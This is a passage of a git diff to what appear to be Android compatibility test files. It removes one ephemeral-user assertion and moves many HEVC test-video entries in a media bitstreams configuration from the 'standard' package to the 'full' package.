-        assertTrue("User must be ephemeral", 0 != (getUserFlags(userId) & FLAG_EPHEMERAL));
-    }
-
     public void testCreateAndManageUser_LowStorage() throws Exception {
         if (!mHasCreateAndManageUserFeature) {
             return;

diff --git a/hostsidetests/media/bitstreams/DynamicConfig.xml b/hostsidetests/media/bitstreams/DynamicConfig.xml
index 5717f80..028e3a5 100644
--- a/hostsidetests/media/bitstreams/DynamicConfig.xml
+++ b/hostsidetests/media/bitstreams/DynamicConfig.xml

@@ -5982,7 +5982,7 @@
     <value>mime=video/avc,size=126151,width=854,height=480,frame-rate=50,profile=2,level=512,bitrate=1561120,package=standard</value>
   </entry>
   <entry key="hevc/yuv400/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_monochrome.mp4">
-    <value>mime=video/hevc,size=362447,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=2256696,package=standard</value>
+    <value>mime=video/hevc,size=362447,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=2256696,package=full</value>
   </entry>
   <entry key="hevc/yuv400/10bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_monochrome.mp4">
     <value>mime=video/hevc,size=644003,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=4016424,package=full</value>
@@ -5991,13 +5991,13 @@
     <value>mime=video/hevc,size=1540055,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=9616736,package=full</value>
   </entry>
   <entry key="hevc/yuv400/10bit/params/crowd_640x360p50f32/crowd_640x360p50f32_monochrome.mp4">
-    <value>mime=video/hevc,size=116116,width=640,height=360,frame-rate=25,profile=,level=,bitrate=717128,package=standard</value>
+    <value>mime=video/hevc,size=116116,width=640,height=360,frame-rate=25,profile=,level=,bitrate=717128,package=full</value>
   </entry>
   <entry key="hevc/yuv400/10bit/params/crowd_854x480p50f32/crowd_854x480p50f32_monochrome.mp4">
-    <value>mime=video/hevc,size=190985,width=854,height=480,frame-rate=25,profile=,level=,bitrate=1185056,package=standard</value>
+    <value>mime=video/hevc,size=190985,width=854,height=480,frame-rate=25,profile=,level=,bitrate=1185056,package=full</value>
   </entry>
   <entry key="hevc/yuv400/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_monochrome.mp4">
-    <value>mime=video/hevc,size=359380,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=2237528,package=standard</value>
+    <value>mime=video/hevc,size=359380,width=1280,height=720,frame-rate=25,profile=,level=,bitrate=2237528,package=full</value>
   </entry>
   <entry key="hevc/yuv400/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_monochrome.mp4">
     <value>mime=video/hevc,size=639024,width=1920,height=1080,frame-rate=25,profile=,level=,bitrate=3985304,package=full</value>
@@ -6006,10 +6006,10 @@
     <value>mime=video/hevc,size=1542770,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=9633712,package=full</value>
   </entry>
   <entry key="hevc/yuv400/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_monochrome.mp4">
-    <value>mime=video/hevc,size=114731,width=640,height=360,frame-rate=25,profile=,level=,bitrate=708480,package=standard</value>
+    <value>mime=video/hevc,size=114731,width=640,height=360,frame-rate=25,profile=,level=,bitrate=708480,package=full</value>
   </entry>
   <entry key="hevc/yuv400/8bit/params/crowd_854x480p50f32/crowd_854x480p50f32_monochrome.mp4">
-    <value>mime=video/hevc,size=191192,width=854,height=480,frame-rate=25,profile=,level=,bitrate=1186352,package=standard</value>
+    <value>mime=video/hevc,size=191192,width=854,height=480,frame-rate=25,profile=,level=,bitrate=1186352,package=full</value>
   </entry>
   <entry key="hevc/yuv420/10bit/bitrate/crowd_1280x720p24f300_3000kbps.mp4">
     <value>mime=video/hevc,size=4738543,width=1280,height=720,frame-rate=24,profile=2,level=256,bitrate=3029648,package=full</value>
@@ -13344,208 +13344,208 @@
     <value>mime=video/hevc,size=1593038,width=854,height=480,frame-rate=60,profile=,level=,bitrate=2541416,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_h16v16.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17353488,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17353488,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_h16v8.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17354984,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17354984,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_h32v32.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17102256,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17102256,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_h64v64.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17162360,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17162360,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_h72v56.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17098112,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17098112,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_h8v8.mp4">
-    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17342680,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3840,height=2160,frame-rate=25,profile=,level=,bitrate=17342680,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_3840x2160p50f32/crowd_3840x2160p50f32_cnfwndw_l2r0t0b0.mp4">
-    <value>mime=video/hevc,size=4096,width=3838,height=2160,frame-rate=25,profile=,level=,bitrate=17371936,package=standard</value>
+    <value>mime=video/hevc,size=4096,width=3838,height=2160,frame-rate=25,profile=,level=,bitrate=17371936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/confwindow/crowd_848x480p50f32/crowd_848x480p50f32_cnfwndw_h16v16.mp4">
-    <value>mime=video/hevc,size=161860,width=848,height=480,frame-rate=25,profile=,level=,bitrate=1003016,package=standard</value>
+    <value>mime=video/hevc,size=161860,width=848,height=480,frame-rate=25,profile=,level=,bitrate=1003016,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=176937,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7036880,package=standard</value>
+    <value>mime=video/hevc,size=176937,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7036880,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=182061,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6583048,package=standard</value>
+    <value>mime=video/hevc,size=182061,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6583048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=186823,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6192800,package=standard</value>
+    <value>mime=video/hevc,size=186823,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=6192800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=194091,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5939688,package=standard</value>
+    <value>mime=video/hevc,size=194091,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5939688,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=197116,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5601736,package=standard</value>
+    <value>mime=video/hevc,size=197116,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5601736,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=204574,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5427064,package=standard</value>
+    <value>mime=video/hevc,size=204574,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5427064,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=206977,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5147848,package=standard</value>
+    <value>mime=video/hevc,size=206977,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=5147848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=79931,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632632,package=standard</value>
+    <value>mime=video/hevc,size=79931,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632632,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=79942,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632712,package=standard</value>
+    <value>mime=video/hevc,size=79942,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=79942,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632712,package=standard</value>
+    <value>mime=video/hevc,size=79942,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=79944,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632712,package=standard</value>
+    <value>mime=video/hevc,size=79944,width=1280,height=720,frame-rate=1,profile=,level=,bitrate=632712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=97940,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19412000,package=standard</value>
+    <value>mime=video/hevc,size=97940,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19412000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=97951,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19414000,package=standard</value>
+    <value>mime=video/hevc,size=97951,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19414000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=97951,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19414000,package=standard</value>
+    <value>mime=video/hevc,size=97951,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19414000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=97953,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19414000,package=standard</value>
+    <value>mime=video/hevc,size=97953,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=19414000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=111455,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14732528,package=standard</value>
+    <value>mime=video/hevc,size=111455,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14732528,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=111455,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14732528,package=standard</value>
+    <value>mime=video/hevc,size=111455,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14732528,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=111457,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14732528,package=standard</value>
+    <value>mime=video/hevc,size=111457,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=14732528,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=120500,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11952696,package=standard</value>
+    <value>mime=video/hevc,size=120500,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=11952696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=121725,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12075200,package=standard</value>
+    <value>mime=video/hevc,size=121725,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12075200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=121727,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12075200,package=standard</value>
+    <value>mime=video/hevc,size=121727,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=12075200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=134120,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10650800,package=standard</value>
+    <value>mime=video/hevc,size=134120,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10650800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=134122,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10650800,package=standard</value>
+    <value>mime=video/hevc,size=134122,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=10650800,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=140881,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9325600,package=standard</value>
+    <value>mime=video/hevc,size=140881,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9325600,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=140010,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9267928,package=standard</value>
+    <value>mime=video/hevc,size=140010,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=9267928,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=146503,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8313936,package=standard</value>
+    <value>mime=video/hevc,size=146503,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8313936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=153190,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8696856,package=standard</value>
+    <value>mime=video/hevc,size=153190,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=8696856,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=151098,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7503848,package=standard</value>
+    <value>mime=video/hevc,size=151098,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7503848,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=157980,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7849048,package=standard</value>
+    <value>mime=video/hevc,size=157980,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7849048,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1280x720p50/crowd_1280x720p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=170936,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7552576,package=standard</value>
+    <value>mime=video/hevc,size=170936,width=1280,height=720,frame-rate=50,profile=,level=,bitrate=7552576,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f10_gop8.mp4">
-    <value>mime=video/hevc,size=188339,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7493000,package=standard</value>
+    <value>mime=video/hevc,size=188339,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7493000,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f11_gop8.mp4">
-    <value>mime=video/hevc,size=195400,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7068144,package=standard</value>
+    <value>mime=video/hevc,size=195400,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7068144,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f12_gop8.mp4">
-    <value>mime=video/hevc,size=185274,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6141200,package=standard</value>
+    <value>mime=video/hevc,size=185274,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6141200,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f13_gop8.mp4">
-    <value>mime=video/hevc,size=194566,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5954336,package=standard</value>
+    <value>mime=video/hevc,size=194566,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5954336,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f14_gop8.mp4">
-    <value>mime=video/hevc,size=199957,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5682936,package=standard</value>
+    <value>mime=video/hevc,size=199957,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5682936,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f15_gop8.mp4">
-    <value>mime=video/hevc,size=212337,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5634104,package=standard</value>
+    <value>mime=video/hevc,size=212337,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5634104,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f16_gop8.mp4">
-    <value>mime=video/hevc,size=214354,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5332296,package=standard</value>
+    <value>mime=video/hevc,size=214354,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=5332296,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=71056,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561624,package=standard</value>
+    <value>mime=video/hevc,size=71056,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561624,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=71066,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561704,package=standard</value>
+    <value>mime=video/hevc,size=71066,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561704,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop4.mp4">
-    <value>mime=video/hevc,size=71067,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561704,package=standard</value>
+    <value>mime=video/hevc,size=71067,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561704,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f1_gop8.mp4">
-    <value>mime=video/hevc,size=71067,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561704,package=standard</value>
+    <value>mime=video/hevc,size=71067,width=1920,height=1080,frame-rate=1,profile=,level=,bitrate=561704,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop1.mp4">
-    <value>mime=video/hevc,size=87033,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17230400,package=standard</value>
+    <value>mime=video/hevc,size=87033,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17230400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop2.mp4">
-    <value>mime=video/hevc,size=87043,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17232400,package=standard</value>
+    <value>mime=video/hevc,size=87043,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17232400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop4.mp4">
-    <value>mime=video/hevc,size=87044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17232400,package=standard</value>
+    <value>mime=video/hevc,size=87044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17232400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop8.mp4">
-    <value>mime=video/hevc,size=87044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17232400,package=standard</value>
+    <value>mime=video/hevc,size=87044,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=17232400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop2.mp4">
-    <value>mime=video/hevc,size=99146,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13091328,package=standard</value>
+    <value>mime=video/hevc,size=99146,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13091328,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop4.mp4">
-    <value>mime=video/hevc,size=99147,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13091328,package=standard</value>
+    <value>mime=video/hevc,size=99147,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13091328,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop8.mp4">
-    <value>mime=video/hevc,size=99147,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13091328,package=standard</value>
+    <value>mime=video/hevc,size=99147,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=13091328,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop2.mp4">
-    <value>mime=video/hevc,size=108542,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10756896,package=standard</value>
+    <value>mime=video/hevc,size=108542,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10756896,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop4.mp4">
-    <value>mime=video/hevc,size=108261,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10728696,package=standard</value>
+    <value>mime=video/hevc,size=108261,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10728696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop8.mp4">
-    <value>mime=video/hevc,size=108261,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10728696,package=standard</value>
+    <value>mime=video/hevc,size=108261,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=10728696,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop4.mp4">
-    <value>mime=video/hevc,size=118344,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9388640,package=standard</value>
+    <value>mime=video/hevc,size=118344,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9388640,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop8.mp4">
-    <value>mime=video/hevc,size=118344,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9388640,package=standard</value>
+    <value>mime=video/hevc,size=118344,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=9388640,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop4.mp4">
-    <value>mime=video/hevc,size=133773,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8851664,package=standard</value>
+    <value>mime=video/hevc,size=133773,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8851664,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop8.mp4">
-    <value>mime=video/hevc,size=123577,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8172464,package=standard</value>
+    <value>mime=video/hevc,size=123577,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8172464,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop4.mp4">
-    <value>mime=video/hevc,size=141999,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8056512,package=standard</value>
+    <value>mime=video/hevc,size=141999,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=8056512,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop8.mp4">
-    <value>mime=video/hevc,size=134582,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7633592,package=standard</value>
+    <value>mime=video/hevc,size=134582,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7633592,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop4.mp4">
-    <value>mime=video/hevc,size=149164,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7407096,package=standard</value>
+    <value>mime=video/hevc,size=149164,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=7407096,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop8.mp4">
-    <value>mime=video/hevc,size=137965,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6848344,package=standard</value>
+    <value>mime=video/hevc,size=137965,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6848344,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_1920x1080p50/crowd_1920x1080p50f9_gop8.mp4">
-    <value>mime=video/hevc,size=149324,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6592088,package=standard</value>
+    <value>mime=video/hevc,size=149324,width=1920,height=1080,frame-rate=50,profile=,level=,bitrate=6592088,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f10_gop8.mp4">
     <value>mime=video/hevc,size=436446,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=17417240,package=full</value>
@@ -13569,274 +13569,274 @@
     <value>mime=video/hevc,size=560359,width=3840,height=2160,frame-rate=50,profile=,level=,bitrate=13982400,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop1.mp4">
-    <value>mime=video/hevc,size=181193,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442712,package=standard</value>
+    <value>mime=video/hevc,size=181193,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442712,package=full</value>
   </entry>
   <entry key="hevc/yuv422/10bit/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop2.mp4">
-    <value>mime=video/hevc,size=181202,width=3840,height=2160,frame-rate=1,profile=,level=,bitrate=1442792,package=standard</value>
